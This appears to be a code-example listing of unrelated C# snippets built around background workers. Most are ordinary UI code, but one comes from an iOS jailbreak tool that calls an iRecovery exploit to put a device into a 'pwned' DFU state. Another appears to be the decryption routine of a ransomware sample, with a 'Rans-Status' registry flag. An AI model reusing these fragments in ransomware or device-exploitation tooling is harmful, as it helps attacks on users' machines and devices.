Exemple #1
0
 public void GoGoGadgetiFaith()
 {
     QuitDFU              = true;
     DFUConnected         = false;
     ResetDFUInstructions = true;
     iDetector();
     //Shutdown iTunes...
     //Shell("cmd /c taskkill /f /t /im iTunes.exe", AppWinStyle.Hide)
     //Shell("cmd /c taskkill /f /t /im iTunesHelper.exe", AppWinStyle.Hide)
     //Go...
     MDIMain.TopMost = true;
     MDIMain.Activate();
     if (iREB_mode == true)
     {
         MDIMain.TopMost = true;
         MDIMain.Activate();
         PictureBox2.Visible  = true;
         ProgressBar1.Visible = true;
         PictureBox2.BringToFront();
         ProgressBar1.BringToFront();
         BackgroundWorker2.RunWorkerAsync();
         SaveToDisk("s-irecovery.exe", temppath + "\\s-irecovery.exe");
         iRecovery_exploit();
         MDIMain.TopMost = false;
         Interaction.MsgBox("Your device is now in a PWNED DFU state (black screen)." + Strings.Chr(13) + Strings.Chr(13) + "You may now launch iTunes and do SHIFT + Restore" + Strings.Chr(13) + "to the custom *signed* IPSW located on your desktop!", MsgBoxStyle.Information);
         CleaniREB();
     }
     else
     {
         Run.MdiParent = MDIMain;
         Run.Show();
         this.Dispose();
     }
 }
Exemple #2
0
    public void CleaniREB()
    {
        MDIMain.dfuinstructions.Visible    = false;
        MDIMain.dfuinstructionstxt.Visible = false;
        MDIMain.blue.Visible    = false;
        MDIMain.Button1.Visible = false;
        BackgroundWorker1.Dispose();
        BackgroundWorker2.Dispose();
        // Display a child form.
        Form frm = new Form();

        frm.MdiParent = MDIMain;
        frm.Width     = this.Width / 2;
        frm.Height    = this.Height / 2;
        frm.Show();
        frm.Hide();

        Welcome.MdiParent = MDIMain;
        Welcome.Show();
        Welcome.Button1.Enabled = false;
        About.MdiParent         = MDIMain;
        About.Show();
        About.BringToFront();

        MDIMain.done.Enabled      = false;
        MDIMain.done.Checked      = false;
        MDIMain.donetxt.ForeColor = Color.DimGray;
        this.Dispose();
    }
Exemple #3
0
        public void Dec()
        {
            try
            {
                BackgroundWorker1.WorkerSupportsCancellation = true;
                BackgroundWorker1.RunWorkerAsync();
                BackgroundWorker2.WorkerSupportsCancellation = true;
                BackgroundWorker2.RunWorkerAsync();
                BackgroundWorker3.WorkerSupportsCancellation = true;
                BackgroundWorker3.RunWorkerAsync();
                while (Finished != 3)
                {
                    System.Threading.Thread.Sleep(50);
                }
                if (OK)
                {
                    Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted");
                    Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal);
                }

                Finished           = 0;
                Pass               = string.Empty;
                btnDecrypt.Enabled = true;
                btnDecrypt.Text    = "Decrypt";
                txtKey.ReadOnly    = false;
            }
            catch (Exception ex)
            {
            }
        }
Exemple #4
0
 private void Gethashs()
 {
     for (int i = 0; i < _allBeatmap.Count; i++)
     {
         _allBeatmap[i].GetHash();
         BackgroundWorker2.ReportProgress(i);
     }
 }
Exemple #5
0
        public ConsoleController(IEspConnector connector, TextBox consoleTextBox, TextBox sendTextBox)
        {
            _connector      = connector;
            _consoleTextBox = consoleTextBox;
            _sendTextBox    = sendTextBox;

            _connector.LineReceived += connector_LineReceived;
            _sendTextBox.KeyPress   += sendTextBox_KeyPress;
            _sendTextBox.KeyDown    += sendTextBox_KeyDown;

            _worker = new BackgroundWorker2(consoleTextBox);
        }
Exemple #6
0
 private void BackgroundWorker1RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
 {
     for (var i = 1; i < _allBeatmap.Count; i++)
     {
         while (i < _allBeatmap.Count && _allBeatmap[i].Location == _allBeatmap[i - 1].Location)
         {
             _allBeatmap.RemoveAt(i);
         }
     }
     DelDulp_ProgressBar.Maximum = _allBeatmap.Count;
     DelDulp_ProgressBar.Value   = 0;
     BackgroundWorker2.RunWorkerAsync(0);
 }
Exemple #7
0
        public MainForm()
        {
            InitializeComponent();

            splitContainer2_Panel1_Resize(this, EventArgs.Empty);

            _filesTreeController = new FilesTreeViewController(filesTreeView);
            _filesTabController  = new FilesTabController(filesTabControl, _filesTreeController);
            _connector           = new EspComConnector();
            _consoleController   = new ConsoleController(_connector, consoleTextBox, sendConsoleTextBox);

            _worker = new BackgroundWorker2(this);
        }
Exemple #8
0
        public FilesTreeViewController(TreeView treeView)
        {
            _treeView = treeView;
            //_fileStore = fileStore;

            _treeView.MouseDown                    += treeView_MouseDown;
            _treeView.BeforeCollapse               += treeView_BeforeCollapse;
            _treeView.AfterSelect                  += treeView_AfterSelect;
            _treeView.NodeMouseDoubleClick         += treeView_NodeMouseDoubleClick;
            _treeView.ContextMenuStrip.ItemClicked += contextMenuStrip_ItemClicked;
            _treeView.ContextMenuStrip.Opening     += contextMenuStrip_Opening;

            _worker = new BackgroundWorker2(treeView);
        }
Exemple #9
0
        public FilesTabController(TabControl tabControl, FilesTreeViewController treeViewController)
        {
            _tabControl = tabControl;
            //_project = project;
            _treeViewController = treeViewController;

            _tabControl.TabPages.Clear();
            _tabControl.Visible  = false;
            _tabControl.HotTrack = true;
            _tabControl.ContextMenuStrip.ItemClicked += contextMenuStrip_ItemClicked;
            _tabControl.MouseDown += tabControl_MouseDown;
            _treeViewController.NodeDoubleClick  += treeViewController_NodeDoubleClick;
            _treeViewController.BeforeInitialize += treeViewController_BeforeInitialize;

            _worker = new BackgroundWorker2(tabControl);
        }